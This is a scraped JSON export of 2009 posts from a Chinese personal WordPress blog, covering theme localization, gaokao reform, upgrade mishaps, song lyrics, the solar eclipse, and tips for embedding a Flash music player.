Nature汉化\n空格这次的汉化主题，是从妖狐那里抢过来的，自己莫打算用，apple姐貌似有用的趋势，所以我的预览地址就放她的了，呵呵。通过这次的汉化，我终于明白我的英语差到什么程度了，汗颜，估计这次四级无望了，OMG!因为英语的白痴级程度，所以这次的汉化，还是比较卖力的，看到缩图上的没，我连搜索框上的那个Search也汉化啦，呵呵……改成搜索了，只是不太好看了。想要Search的可以下源文件，然后把那张图片上传覆盖就可以了。\n空格这次汉化还给我明白点东西了，由于页面和文章的评论都是引用Comments.php这个文件，然而我的思想是这样的：在日志中，那是叫发表评论，而在留言板等页面中，又是叫留言了，所以，到底该翻译成评论还是留言，很是困扰着我，最后突然茅塞顿开，不管是评论还是留言，不都是回复么，所以我在Comments中全翻译成了回复，然后在Singles.php中翻译成评论，在Page.php中就翻译成了留言了。\n空格我还附带了一个留言板模板，方便刚刚创建博客的朋友。嗯，这里再附上留言板的之作过程吧，也是以前发给apple姐的，呵呵，现在搬点老东西出来，凑凑字数：\n首先是页面名称，填写“留言板”（也可以是其它的什么，你想填什么都可以）\n其次是右下角的模板，从下拉菜单里面选择guestbook\n最后点发布就可以了。\n大致是这个样子了，有其它的什么再补充吧，呵呵。\n","count":831,"date":"2009年08月11日","featuredImage":null,"permalink":"https://imnerd.org/girly-nature-localization.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e Girly Nature\u003cspan style=\"color: #ff0000;\"\u003e『问题已经修复，请放心下载！』\u003c/span\u003e\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e原文地址：\u003ca style=\"margin-top: 0px; margin-right: 1px; margin-bottom: 0px; margin-left: 1px; color: #2f63b3; outline-style: none; text-decoration: none; padding: 0px;\" href=\"http://www.templatelite.com/girly-nature-free-wordpress-theme/\"\u003e\u003c/a\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003ca style=\"margin-top: 0px; margin-right: 1px; margin-bottom: 0px; margin-left: 1px; color: #2f63b3; outline-style: none; text-decoration: none; padding: 0px;\" href=\"http://www.templatelite.com/girly-nature-free-wordpress-theme/\"\u003e\u003ca href=\"http://www.templatelite.com/girly-nature-free-wordpress-theme/\"\u003ehttp://www.templatelite.com/girly-nature-free-wordpress-theme/\u003c/a\u003e\u003c/a\u003e\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e作者说明的翻译：\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e我制作的大多数主题都属于中性，这个主题是最女性化的。因此，我为它起名为“少女情怀“。\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e过去的十个月里，我推出20多款主题，它们的风格各异。目前我有个主题整容计划，打算为一些主题赋予新特性和新面貌。\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e此主题放出时间：2009/07/17.\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e预览地址：\u003ca href=\"https://imnerd.org/bo/\" target=\"_blank\"\u003e\u003cspan style=\"margin: 0px 1px; padding: 0px; color: #2f63b3; outline-style: none; text-decoration: none;\"\u003eGirly Nature主题预览\u003c/span\u003e\u003c/a\u003e\u003cbr style=\"padding: 0px; margin: 0px;\" /\u003e公子汉\u003c/span\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e化版本下载：\u003ca href=\"http://www.uushare.com/user/lizheming/file/1900301\" target=\"_blank\"\u003eGirly Nature汉化\u003c/a\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"Girly Nature汉化"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"今日上扣扣，看到一则重大消息，关于高考改革的。 详情请点击：我国高考改革提出3种方案 不再一考定终身\n下面是这次改革提出的三种方案：\n方案1：通过高中学业水平考试是参加高考的前提条件，可经过多次考试通过。高考只考3门：语文、数学、外语，不分文理科。高校根据高考成绩，参考高中学业水平考试成绩和综合成绩，择优录取。\r方案2：通过高中学业水平考试是参加高考的前提条件，可经过多次考试通过。高考按学科群考5门：语文、数学、外语、实验学科中与报考专业有关的任选一门、人文学科中与报考专业有关的任选一门，不分文理。高校根据高考成绩，参考高中学业水平考试成绩和综合成绩，择优录取。高校可根据培养方向和目标，以加权平均分数录取，不同专业加权系数不同。\n方案3：高等职业院校与普通高等院校招生考试分开进行。考试内容体现不同特点，不分高低层次。示范性高等职业院校和条件成熟的省市要积极探索符合高等职业教育培养规律和特点的人才选拔模式。考取高等职业院校的学生也是成功者。 对于高考，大家的抱怨声一直都是不止的。有些人甚至觉得应该废除高考！我在这里引用下我高中英语老师的观点：现在的孩子极度缺乏锻炼，什么事情都是一帆风顺的，没有一点波折。现在就只有高考这座独木桥能够锻炼一下你们，怎么能够就这样废了呢？在这里说出来，是说明我也比较赞同老师的观点的。的确，高考让我们的心智成长了许多。但是，我们也不得不承认，现在的高考体系还存在着极大的漏洞，许多的人才就因为一次考试而永远的被荒废，而更多的人确因为这一次考试的成功而发生翻天覆地的变化。有人说高考不公平，有人说高考太黑暗，但是我们有什么办法呢，所以说，还是只能维持现状。\n纵观上面的三种方案，个人觉得此次的改革方案会使得高考越来越趋于考研化。三种方案的共同点在于，必须考虑平时成绩，也就是说，你高中三年的学业成绩在高考成绩中会占一定的比例。这样做最大的好处就在于，可以避免高考抄袭生的优录。『当然，水怪除外……』但是，这样也同时增加了学生考试的心理压力，从这方面来讲的话，这三个方案也就有利也有弊了。利在于，能够逐渐加强学生的心理承受能力，弊处在于，我们不得不考虑各个学校之间试卷的难易程度，但是这样的确很难做到。如果是统考的话，我们又要考虑了，到底是市统考，还是省统考呢？所以说，这个在加权方面，还是比较复杂的。\n方案二给我的第一感觉就是考研，其实这个方案的专业术语我也还没有看太明白，但是高考就牵涉到高校的专业方面，我个人是觉得不大好。方案三的话给我的感觉像是在找心理安慰。何况分开来考的话考生的筛选是怎么进行的呢？先进行高校的高考，然后再进行高职的高考？还是别的什么的，这也要好好考虑一下。\n三个方案给出来的都还是一个框架，具体的东西都还很模糊，我们并不能猜测其中的真意，更不能明白哪个方案好，哪个方案不好。另外，我还要说的是，政策这个东西，还是稳定点好，毕竟不是人人都能吃得消这天天变带来的效果的。 ","count":1206,"date":"2009年08月09日","featuredImage":null,"permalink":"https://imnerd.org/on-the-reform-of-college-entrance-examination.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e今日上扣扣，看到一则重大消息，关于高考改革的。\u003c/span\u003e\n\u003cspan style=\"font-family:微软雅黑;\"\u003e详情请点击：\u003ca href=\"http://news.qq.com/a/20090809/000569.htm\"\u003e我国高考改革提出3种方案 不再一考定终身\u003c/a\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e下面是这次改革提出的\u003cspan style=\"color: #0000ff;\"\u003e三种方案\u003c/span\u003e：\u003c/span\u003e\u003c/p\u003e\n\u003cblockquote\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color: #ff0000;\"\u003e方案1：\u003c/span\u003e通过高中学业水平考试是参加高考的前提条件，可经过多次考试通过。高考只考3门：语文、数学、外语，不分文理科。高校根据高考成绩，参考高中学业水平考试成绩和综合成绩，择优录取。\u003c/span\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color: #ff0000;\"\u003e方案2：\u003c/span\u003e通过高中学业水平考试是参加高考的前提条件，可经过多次考试通过。高考按学科群考5门：语文、数学、外语、实验学科中与报考专业有关的任选一门、人文学科中与报考专业有关的任选一门，不分文理。高校根据高考成绩，参考高中学业水平考试成绩和综合成绩，择优录取。高校可根据培养方向和目标，以加权平均分数录取，不同专业加权系数不同。\u003c/span\u003e\u003c/p\u003e","time":3,"title":"也谈高考改革"},{"comments":{"data":[32],"errmsg":"","errno":0},"contents":"好吧，来讲讲我今天的悲惨遭遇吧。鄙人早上兴致勃勃的打开哥的后台，发现WP又\"生\"拉，于是乎赶紧跑到自己后台屁颠屁颠升级去了，嗯，套用明猪的话，\"生生\"也健康……正当我沉浸在升级的喜悦中时。大叔发来求助，关于导航菜单的，于是乎，我又发扬了一下我乐于助人的精神，到我主题里面乐呵呵的找起代码来了。浏览了一遍，发现代码全没了？！我赶忙跑到博博首页看了下，完了……由于我用的是默认主题修改后的主题，也就是说升级的时候文件全部重新覆盖了，也就是说我以前的主题全没了……呜呼，不仅如此，还有我让妖狐帮我修改的评论嵌套，也全没有了。呜呼哀哉，没办法阿，只好找文件，上传，再次覆盖呀～嗯，footer覆盖成功……评论嵌套覆盖成功……嗯，我的header图片没有备份？！OMG!再做一张吧，素材……哈哈，找到张不原来更好的图片了，不过这张图就不要修改什么了……嗯，上传，覆盖成功，总算是大功告成了。再看下，发现原来我还修改了字体大小的，呼呼，找到问高手的聊天记录，照样子再改了一遍，呼呼……嗯，还有一个没有完成，导航菜单，加还是不加呢？还是加个吧，有总比没有好。这回总算是明白了，升级也不是好玩的，也要考虑后果阿！下次再也不能盲目升级了，呵呵。 唉，这几天都是草草解决吃飯问题，日子过的很萧条阿～黏着个小的在旁边就是不方便，赶快走就好……\n","count":559,"date":"2009年08月04日","featuredImage":null,"permalink":"https://imnerd.org/upgrading-is-not-fun.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑; font-size:10pt\"\u003e好吧，来讲讲我今天的悲惨遭遇吧。鄙人早上兴致勃勃的打开哥的后台，发现WP又\"生\"拉，于是乎赶紧跑到自己后台屁颠屁颠升级去了，嗯，套用明猪的话，\"生生\"也健康……正当我沉浸在升级的喜悦中时。大叔发来求助，关于导航菜单的，于是乎，我又发扬了一下我乐于助人的精神，到我主题里面乐呵呵的找起代码来了。浏览了一遍，发现代码全没了？！我赶忙跑到博博首页看了下，完了……由于我用的是默认主题修改后的主题，也就是说升级的时候文件全部重新覆盖了，也就是说我以前的主题全没了……呜呼，不仅如此，还有我让妖狐帮我修改的评论嵌套，也全没有了。呜呼哀哉，没办法阿，只好找文件，上传，再次覆盖呀～嗯，footer覆盖成功……评论嵌套覆盖成功……嗯，我的header图片没有备份？！OMG!再做一张吧，素材……哈哈，找到张不原来更好的图片了，不过这张图就不要修改什么了……嗯，上传，覆盖成功，总算是大功告成了。再看下，发现原来我还修改了字体大小的，呼呼，找到问高手的聊天记录，照样子再改了一遍，呼呼……嗯，还有一个没有完成，导航菜单，加还是不加呢？还是加个吧，有总比没有好。这回总算是明白了，升级也不是好玩的，也要考虑后果阿！下次再也不能盲目升级了，呵呵。\n\u003c/span\u003e\u003c/p\u003e","time":2,"title":"升级也不是好玩的"},{"comments":{"data":[21],"errmsg":"","errno":0},"contents":" 歌曲：Straight Through My Heart\n演唱者：BackStreet Boys\n据说是后街的新歌，我也不想去考证了，拿来凑篇日志给大家水吧。老早也听说后街有个单飞了，也没去考究到底是谁，模糊的有个印象。昨天回学校了，早了点，不过回到我的世界，还是很爽的说。这鬼天气，怎么这么热！唉～又热，又累。好了，不多说了，把歌词贴上来凑下字数吧。这篇是我有史以来最水的一篇了，闪人。\nHooohhhhhhhh\nIn the heart\nOf the night\nWhen it's dark\nIn the lights\nI heard the loudest noise\nA gunshot on the floor\nOhhhh ohhhhh\nI looked down\nAnd my shirts turning red\nI'm spinning around\nFelt her lips on my neck\nAnd her voice in my ear\nLike I missed you\nWant you tonight\nStraight through my heart\nA single bullet got me\nI can't stop the bleeding\nOhhhh\nStraight through my heart\nShe aimed and she shot me\nI just can't believe it\nOhhhh\nNo I can't resist\nAnd I can't be hit\nI just can't escape this love\nStraight through my heart\nSoldier down (my heart)\nSoldier down (my heart)\nThought I moved\nMore than on\nThought I could\nFool her charm\nI really wanna go\nBut I can't leave her alone\nOhhhh ohhhh\nHear the sound\nOf a love so loud\nI just can't (I just can't)\nI just can't ignore this feeling\nSaid she misses me\nAnd she wants me\nWants me tonight\nStraight through my heart\nA single bullet got me\nI can't stop the bleeding\nOhhhh\nStraight through my heart\nShe aimed and she shot me\nI just can't believe it\nOhhhh\nNo I can't resist\nAnd I can't be hit\nI just can't escape this love\nStraight through my heart\nSoldier down (my heart)\nSoldier down (my heart)\nIn the heart\nOf the night\nWhen it's dark\nIn the lights\nI heard the loudest noise\nA gunshot on the floor,oh oh\nStraight through my heart\nA single bullet got me\nI can't stop the bleeding\nOhhhh\nStraight through my heart (soldier down)\nShe aimed and she shot me (soldier down)\nI just can't believe it\nOhhhh\nNo I can't resist (I can't resist)\nAnd I can't be hit (no,I can't)\nI just can't escape this love\nStraight through my heart\nSoldier down (my heart)\nSoldier down (my heart)\nStraight through my heart\nStraight through my heart\nSoldier down (my heart)\nSoldier down (my heart)\nMy heart, my heart\nStraight through my heart\nSoldier down (my heart)\nSoldier down (my heart)\nOhhh ohhh ohhh ohhh ohhh\nOhhh ohhh ohhh ohhh ohhhhh\n嗯，是不是来张图更好些说?好吧，来就来，谁怕谁……\n","count":557,"date":"2009年08月03日","featuredImage":null,"permalink":"https://imnerd.org/straight-through-my-heart.html","summary":"\u003cp style=\"text-align: center;\"\u003e\u003cembed src=\"http://www.yobo.com/flash/w/105/singlemusic.swf\" FlashVars=\"P=GW|www.yobo.com|xmlUrl|634434|autoPlay|0|volume|50|skin|09|w=255\" quality=\"high\" bgcolor=\"#ffffff\" width=\"255\" height=\"108\" align=\"middle\" type=\"application/x-shockwave-flash\"\u003e \u003c/embed\u003e\u003cbr /\u003e\u003ca href=\"http://www.yobo.com\" target=\"_blank\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fwww.yobo.com%2Fimages%2Fblank_image.gif\" style=\"display:none;\" title=\"YOBO友播,音乐DNA,音乐推荐,排行榜,音乐插件,MUSIC WIDGET\" /\u003e\u003c/a\u003e\r\n\u003c/p\u003e\u003cp style=\"text-align: center;\"\u003e歌曲：Straight Through My Heart\u003c/p\u003e\r\n\u003cp style=\"text-align: center;\"\u003e演唱者：BackStreet Boys\u003c/p\u003e\r\n\u003cp\u003e据说是后街的新歌，我也不想去考证了，拿来凑篇日志给大家水吧。老早也听说后街有个单飞了，也没去考究到底是谁，模糊的有个印象。昨天回学校了，早了点，不过回到我的世界，还是很爽的说。这鬼天气，怎么这么热！唉～又热，又累。好了，不多说了，把歌词贴上来凑下字数吧。这篇是我有史以来最水的一篇了，闪人。\u003c/p\u003e","time":2,"title":"Straight Through My Heart"},{"comments":{"data":[63],"errmsg":"","errno":0},"contents":"天，上次的日志评论已经涨到70上去了。这个数字在提醒着我该再制造篇水文出来了，呵呵……上次志言就跟我说拿篇文章出来给大家水就行，不用管什么内容了，我当时那个无语阿。嗯，最近也没什么好说的，就把昨天妖狐回来我要求他帮我该的评论嵌套框和最近新装的微博程序拿出来说下吧。\n对于WP的评论嵌套，我知道，许多高手都是无可奈何，我看着它也是相当的不舒服，就想着能不能改成如盖楼的形式。昨天妖狐回来的时候，也不管他有没有休息啦，拉他过来就叫他改代码去了。最后他完成的结果确实可以做出那样的效果（如图1），但是我最终还是发现了问题。妖狐，现在我说给你听听，大家请看图2，评论二已经在有评论三的回复的前提下，如果还想回复评论二，则评论四就会跑到大框的外面，而跟评论四相关的评论也会在大框的外面，如评论五。这样的话，根本就不知道评论四是回复哪个的。这个就是问题的所在了，其实我也没有想到个能够解决问题的思路，因为我其实也不知道应该把这个所谓的评论四怎么放，唉……大家有什么好的解决办法么，或者是有什么好的嵌套方案么？赶快留言告诉。（突然想起这么一句话，妖狐帮我做的这个评论嵌套真的很适合两个人版聊，不过有第三者插足的话就会出乱子了，呵呵。） 下面来说另外一个东西，从西风同学那里淘到的，一个微博客程序，PageCookery（以下简称PC）。先讲讲我的微博地址：https://imnerd.org/mblog怎么说呢，在当今越来越螃蟹的天朝下，要有一个微博的话，也就只能DIY了。之所以找到这款的话，最重要的是它是中文的，而且我接触的也比较少，拿来试试了。界面的话我最喜欢标题的那个不锈钢上刻字的感觉，相当的喜欢。还比较喜欢的就是日志支持HTML语言，嘿嘿，没事就放放歌上去，加个链接，嘿嘿……但是这个微博还是有很多不足之处的，而且还有一个BUG。给开发者发邮件，结果几天了，P都没有回一个，无语了我，苏洋跟我说这是当然的，因为他不是开发者，这个我不太清楚。但是我知道，BUG要解决阿，所以我就请了妖狐同学和苏洋同学帮我的忙啦。实际上是我表达我的想法，他们两个做了技术支持而已，呵呵。下面列举以下：\n修改PC最新日志不可以删除的BUG；\r删除网友评论时会显示IP的设置；\n删除网友评论时前端显示的地名，而以一个输入框代替，可以让评论的网友自己输入昵称；\n在PC网志图标一行自己做几个链接，可以将朋友的微博和自己的博客链接起来；（以上由妖狐同学完成，不过不知道他会不会去改呀。）\n为PC制作WAP网页；（这个由苏洋同学帮忙完成）\n在此谢谢两位了，能够忍受我无理的要求，呵呵。其实本来是还要苏洋同学制作API，再顺便帮忙制作个JAR的，结果苏洋同学最近由于种种原因比较忙，而且有了WAP网页，也就算了，呵呵。希望有兴趣的同学能够帮下忙阿，嘻嘻。\r唉！大家帮忙推荐一款FLASH音乐播放器吧，可恶的8box，虽然漂亮，但是但是，它老人家最喜欢闹脾气了，动不动就抽风，这不，今天又抽风了，唉！对了，我要的是那种有音乐列表的播放器，单曲的播放器我前面日志有介绍，有了。\n哎呀，一写又有这么多了，早知道就不写了，呵呵…… [audio:http://vfile.home.news.cn/music/public/vd05/200906/13/b6/MUfs052009061321482850b6dccd.mp3]\n","count":1286,"date":"2009年07月30日","featuredImage":null,"permalink":"https://imnerd.org/chapter-again-hydrological.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e天，上次的日志评论已经涨到70上去了。这个数字在提醒着我该再制造篇水文出来了，呵呵……上次志言就跟我说拿篇文章出来给大家水就行，不用管什么内容了，我当时那个无语阿。嗯，最近也没什么好说的，就把昨天妖狐回来我要求他帮我该的评论嵌套框和最近新装的微博程序拿出来说下吧。\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e对于WP的评论嵌套，我知道，许多高手都是无可奈何，我看着它也是相当的不舒服，就想着能不能改成如盖楼的形式。昨天妖狐回来的时候，也不管他有没有休息啦，拉他过来就叫他改代码去了。最后他完成的结果确实可以做出那样的效果（如图1），但是我最终还是发现了问题。妖狐，现在我说给你听听，大家请看图2，评论二已经在有评论三的回复的前提下，如果还想回复评论二，则评论四就会跑到大框的外面，而跟评论四相关的评论也会在大框的外面，如评论五。这样的话，根本就不知道评论四是回复哪个的。这个就是问题的所在了，其实我也没有想到个能够解决问题的思路，因为我其实也不知道应该把这个所谓的评论四怎么放，唉……大家有什么好的解决办法么，或者是有什么好的嵌套方案么？赶快留言告诉。（突然想起这么一句话，妖狐帮我做的这个评论嵌套真的很适合两个人版聊，不过有第三者插足的话就会出乱子了，呵呵。）\n\u003c/span\u003e\n\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fwww.douban.com%2Fview%2Fphoto%2Fphoto%2Fb2a08b75e644ce1e62f94b8588689b38%2Fx294082662.jpg\" alt=\"\" /\u003e\n\u003cspan style=\"font-family:微软雅黑\"\u003e下面来说另外一个东西，从西风同学那里淘到的，一个微博客程序，PageCookery（以下简称PC）。先讲讲我的微博地址：\u003ca href=\"https://imnerd.org/mblog\" target=\"_blank\"\u003e\u003ca href=\"https://imnerd.org/mblog\"\u003ehttps://imnerd.org/mblog\u003c/a\u003e\u003c/a\u003e怎么说呢，在当今越来越螃蟹的天朝下，要有一个微博的话，也就只能DIY了。之所以找到这款的话，最重要的是它是中文的，而且我接触的也比较少，拿来试试了。界面的话我最喜欢标题的那个不锈钢上刻字的感觉，相当的喜欢。还比较喜欢的就是日志支持HTML语言，嘿嘿，没事就放放歌上去，加个链接，嘿嘿……但是这个微博还是有很多不足之处的，而且还有一个BUG。给开发者发邮件，结果几天了，P都没有回一个，无语了我，苏洋跟我说这是当然的，因为他不是开发者，这个我不太清楚。但是我知道，BUG要解决阿，所以我就请了妖狐同学和苏洋同学帮我的忙啦。实际上是我表达我的想法，他们两个做了技术支持而已，呵呵。下面列举以下：\u003c/span\u003e\u003c/p\u003e\n\u003col style=\"margin-left: 39pt\"\u003e\r\n\t\u003cli\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e修改PC最新日志不可以删除的BUG；\r\n\u003cp\u003e\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e删除网友评论时会显示IP的设置；\u003c/p\u003e\n\u003cp\u003e\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e删除网友评论时前端显示的地名，而以一个输入框代替，可以让评论的网友自己输入昵称；\u003c/p\u003e\n\u003cp\u003e\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e在PC网志图标一行自己做几个链接，可以将朋友的微博和自己的博客链接起来；（以上由妖狐同学完成，不过不知道他会不会去改呀。）\u003c/p\u003e\n\u003cp\u003e\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e为PC制作WAP网页；（这个由苏洋同学帮忙完成）\u003c/p\u003e\n\u003cp\u003e\u003c/span\u003e\u003c/li\u003e\u003c/p\u003e\n\u003c/ol\u003e\r\n\u003cspan style=\"font-family:微软雅黑\"\u003e在此谢谢两位了，能够忍受我无理的要求，呵呵。其实本来是还要苏洋同学制作API，再顺便帮忙制作个JAR的，结果苏洋同学最近由于种种原因比较忙，而且有了WAP网页，也就算了，呵呵。希望有兴趣的同学能够帮下忙阿，嘻嘻。\u003c/span\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e唉！大家帮忙推荐一款FLASH音乐播放器吧，可恶的8box，虽然漂亮，但是但是，它老人家最喜欢闹脾气了，动不动就抽风，这不，今天又抽风了，唉！对了，我要的是那种有音乐列表的播放器，单曲的播放器我前面日志有介绍，有了。\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e哎呀，一写又有这么多了，早知道就不写了，呵呵……\u003c/span\u003e\n[audio:http://vfile.home.news.cn/music/public/vd05/200906/13/b6/MUfs052009061321482850b6dccd.mp3]\u003c/p\u003e","time":3,"title":"再来篇水文"},{"comments":{"data":[75],"errmsg":"","errno":0},"contents":" 很久了，我都没有更新了，明猪一直催我更，可我真的是没有什么好说的呀……今天看到留言板翻页了，突然就感怀起来了。博博也有两个月大了，从无到有，我付出的时间也是很多的，其中，我也收获了许许多多的快乐。(辛酸没有，因为有困难就去问博友去了。)这里真的要感谢一下我的博友们，帮了我很多很多。比如我这个改版的默认主题吧，几度遭遇难产，也是多亏了明猪和安的帮忙，才得以顺利生产。我想说的是，虽然你们说的我不一定懂，但我明白你们帮助了我。\n嗯，说到这个主题，哈哈，我就要来说一说了，其实最开始是想给底部加个草丛的，找到素材PS进去，发现，哇噻，我从来都没有这么好的PS技术诶，不能浪费了呀，把上面的图片也改了去就好。下面小草吧，上面何不来个蓝天白云？于是去找素材，发现蓝天的Banner真的好难找哦，无奈之下只有从大图中裁一部分出来了，大家应该看的出来吧，想叫明猪教我怎么把那个边边模糊化，一直忘记了，ORZ……然后是加字进去，本来说安那里有好多新奇字体的，想让他帮我做做，结果那几天安跟人间蒸发似的，打死我都没找着，那就拜托明猪啦～其实最后还是我自己做的，当然，还有我哥的帮忙啦～最后发现居然没有返回首页的链接，就想加一个。问明猪吧，某人说他CSS烂的掉牙，某个人又人间蒸发，等了好些天终于等到安的出现，讨论了半天，最后还是说加个导航菜单为妙。最后的最后还是仍了一个网址给我，我自学去了……555，所以说，安，你其实只要扔mg12的网址给我就行的，ORZ……其实后面还有请教他们怎么移动这个菜单的，可是某人讲的比较抽象(要不我的脑袋有问题)，没成功。主题的话就先讲到这里，CSS等有闲情了再来修改吧。\nORZ,发现讲了半天，还是跟题目没关系呀，不行，嗯，就贴几张在博友那里的刷屏记录吧，证明我是很用心的在博友那里踩了，嘿嘿……大家请看图：\n大家看看有没有自己的博博吧，嘿嘿……对了，再贴一张我的FC超100时候的图，当时我真的很激动阿……\n","count":810,"date":"2009年07月27日","featuredImage":null,"permalink":"https://imnerd.org/commemorate-the-passing-away-of-love.html","summary":"\u003cp\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e 很久了，我都没有更新了，明猪一直催我更，可我真的是没有什么好说的呀……今天看到留言板翻页了，突然就感怀起来了。博博也有两个月大了，从无到有，我付出的时间也是很多的，其中，我也收获了许许多多的快乐。(辛酸没有，因为有困难就去问博友去了。)这里真的要感谢一下我的博友们，帮了我很多很多。比如我这个改版的默认主题吧，几度遭遇难产，也是多亏了明猪和安的帮忙，才得以顺利生产。我想说的是，虽然你们说的我不一定懂，但我明白你们帮助了我。\u003c/span\u003e\u003c/p\u003e","time":2,"title":"纪念那逝去的年华"},{"comments":{"data":[50],"errmsg":"","errno":0},"contents":"传说中的百年都难得一件的日食诶～只是，某人这儿只能看到一点点滴～羡慕小和志言啊～上海，多好的地方啊！我这里啥也看不到，开始朋友说用“X光片”，我一直理解为用叉光片，我还在想他说的是什么呢，是不是相机的底片呀，直跟他说没有。结果日食完了的时候在发现是医院的那个片，额，神，原谅我的无知吧～不死心去看了下，居然发现好像还是个月牙儿？！嘿嘿～不过没心情看了～看电视的日全食那个主持人给吵死了，明明说静静的等待的，结果还没过两秒，又发出了他无知的提问，我都对他们无语了我～唉～！还有那个驻武汉的记者，那女的，咋就那么唠叨呢，说了那么久，连直播室的主持人都插不进去，靠～无语～所以说，这次日食，看的一点也不尽兴。小和志言可要赶快把观日食感想给写出来，给大家分享分享。牢骚完毕，最后附上日食的时候我们这里太阳的图片，那是晴空万里啊～感觉就像太阳要爆炸似的。而且貌似我们这儿的人民群总还是非常的迷信滴，天暗下来的时候居然还要打爆竹？！我简直是汗的无语，果然民风淳朴啊～可爱的村民～ :lol:\n","count":434,"date":"2009年07月22日","featuredImage":null,"permalink":"https://imnerd.org/we-remember-the-solar-eclipse-here.html","summary":"\u003cp\u003e传说中的百年都难得一件的日食诶～只是，某人这儿只能看到一点点滴～羡慕小和志言啊～上海，多好的地方啊！我这里\u003cimg class=\"alignright\" title=\"日食\" src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fwww.douban.com%2Fview%2Fphoto%2Fthumb%2F9b4c74799c48e79bc89cae914631577c%2Fx289792949.jpg\" alt=\"\" width=\"175\" height=\"172\" /\u003e啥也看不到，开始朋友说用“X光片”，我一直理解为用叉光片，我还在想他说的是什么呢，是不是相机的底片呀，直跟他说没有。结果日食完了的时候在发现是医院的那个片，额，神，原谅我的无知吧～不死心去看了下，居然发现好像还是个月牙儿？！嘿嘿～不过没心情看了～看电视的日全食那个主持人给吵死了，明明说静静的等待的，结果还没过两秒，又发出了他无知的提问，我都对他们无语了我～唉～！还有那个驻武汉的记者，那女的，咋就那么唠叨呢，说了那么久，连直播室的主持人都插不进去，靠～无语～所以说，这次日食，看的一点也不尽兴。小和志言可要赶快把观日食感想给写出来，给大家分享分享。牢骚完毕，最后附上日食的时候我们这里太阳的图片，那是晴空万里啊～感觉就像太阳要爆炸似的。而且貌似我们这儿的人民群总还是非常的迷信滴，天暗下来的时候居然还要打爆竹？！我简直是汗的无语，果然民风淳朴啊～可爱的村民～ :lol:\u003c/p\u003e","time":1,"title":"记我们这儿的日食"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":"大家進來是不是發現怡紅院落的主題換了？是的，換成了默認的主題了……嘻嘻……最近覺得院落原來的那個主題還有稍許不足，準備請教高人們改改后再放上來。至于爲什麽用默認的主題呢？是因爲再apple姐那裏看到默認主題也不錯欸，有一種返璞歸真的效果，呵呵……換下主題，大家也換下胃口哈……華麗麗的閃過，希望大家不要罵我頻換變換主題……\n以下的內容一般的高手可以忽略不計，純粹是寫給菜鳥菜鳥級別的人物的，呵呵：\n首先，在同步控那裏看到關于獨立博客的介紹哦，覺得用來介紹獨立博客的話相當的經典，就順手引用過來了，放在我院落的BBS裏面，呵呵……\n請點擊閱讀：建立獨立博客需要瞭解的一些基本知識\n還有就是，上次apple姐姐說不知道怎麽在博客中插入音樂播放器，我詳細的給她回答了一下，這裏我就把它貼出來，希望對不懂的人有些幫助： 關于怎樣在日志中插入音樂播放我這裏有三種辦法:\r1.使用插件:比如Audio Player可以到論壇裏面去看下\nhttp://wordpress.org.cn/viewthread.php?tid=34231\u0026amp;amp;highlight=mp3\n2.使用Flash播放器：\n這裏我又又兩個辦法：\n1）使用8box，我的博客就經常使用它，在上面搜索一下歌曲，製作下就可以了，挺簡單的，推薦使用。缺點是有時候8box被当的时候用不了，偏偏8box当的时间比较的频繁，唉！当然还有别的音乐网站可以拉，比如虾米，自己看看吧。\n2）就是用代码插入：\n编写日志的时候转到Html界面，然后复制一下代码过去：\n\u0026lt;embed lk_media=\u0026ldquo;yes\u0026rdquo; lk_mediaid=\u0026ldquo;lk_juiceapp_mediaPopup_1248051620517\u0026rdquo; src=\u0026ldquo;http://www.mirpod.com/IMG/swf/mini_player_mp3.swf?my_mp3=歌曲的地址\u0026amp;amp;autoplay=no\u0026amp;amp;loop=yes\u0026amp;amp;my_text=播放器上面你要显示的文字（比如歌曲的名字）\u0026rdquo; type=\u0026ldquo;application/x-shockwave-flash\u0026rdquo; wmode=\u0026ldquo;opaque\u0026rdquo; pluginspage=\u0026ldquo;http://www.macromedia.com/go/getflashplayer\u0026quot; allowscriptaccess=\u0026ldquo;never\u0026rdquo; allownetworking=\u0026ldquo;internal\u0026rdquo; height=\u0026ldquo;25\u0026rdquo; 